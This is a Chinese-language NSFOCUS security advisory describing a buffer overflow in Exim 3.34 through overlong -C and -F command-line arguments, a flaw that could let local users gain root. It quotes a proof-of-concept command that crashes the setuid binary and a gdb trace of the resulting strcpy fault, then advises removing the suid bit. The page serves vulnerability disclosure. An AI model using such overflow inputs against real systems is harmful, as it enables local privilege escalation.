首页 -> 安全研究

安全研究

安全漏洞
Exim命令行配置文件参数缓冲区溢出漏洞

发布日期:2002-02-13
更新日期:2002-02-13

受影响系统:

University of Cambridge Exim 3.34
描述:

BUGTRAQ  ID: 4096

Exim是一个开放源代码的免费邮件传送软件,由剑桥大学发布和维护。它可运行于Unix/Linux类操作系统之下。

Exim实现上存在一个缓冲区溢出漏洞,可以使本地攻击者获取root权限。

当Exim以几种组合的参数标记被运行时,可能发生缓冲区溢出,其中必须的一个参数标记是指定配置文件的“-C“标记,一般情况下要有32768 字节长度的“-C“参数,还需要有其它的参数比如“-F“,它后面所跟的参数长度必须有32700字节。由于在某些系统下,它被设置了suid root属性,本地攻击者可能获取root权限。


<*来源:Ehud Tenenbaum (analyzer@2xss.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-02/0127.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Ehud Tenenbaum (analyzer@2xss.com)提供了如下测试方法:

首先让我们看看这个文件:
[2xs:root:~] ls -la /usr/exim/bin/exim
-rws--x--x 1 root root 2061186 Oct 23 12:56
/usr/exim/bin/exim*
[2xs:root:~]

Suid身份

[2xs:w00p:/root] id
uid=1001(w00p) gid=100(users) groups=100(users)
[2xs:w00p:/root] /usr/exim/bin/exim -F `perl -e' print "A" x 32770'` -C
`perl -e' print "A" x 32768'`
Segmentation fault
[2xs:w00p:/root]

一些其它的参数可能也能溢出。

[2xs:root:~] gdb /usr/exim/bin/exim
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r -F `perl -e' print "A" x 32770'` -C `perl -e' print "A" x
32768'`
Starting program: /usr/exim/bin/exim -F `perl -e' print "A" x 32770'` -C
`perl -e' print "A" x
32768'`


Program received signal SIGSEGV, Segmentation fault.
strcpy (dest=0x820e208 'A' <repeats 200 times>..., src=0xbfff7b48 'A'
<repeats 200 times>...)
    at ../sysdeps/generic/strcpy.c:40
40 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) info registers
eax 0x48216641 1210148417
ecx 0x482166bf 1210148543
edx 0xbfffa941 -1073764031
ebx 0xbffef8d4 -1073809196
esp 0xbffeeefc 0xbffeeefc
ebp 0xbffeef00 0xbffeef00
esi 0x820e208 136372744
edi 0x3 3
eip 0x401690e4 0x401690e4
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x23 35
fioff 0x4009ca84 1074383492
foseg 0x2b 43
fooff 0x400fa440 1074766912
fop 0x49b 1179



建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 去除Exim程序的suid位。
  例如:
  # chmod a-s /usr/exim/bin/exim

厂商补丁:

University of Cambridge
-----------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.exim.org



浏览次数:3848
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障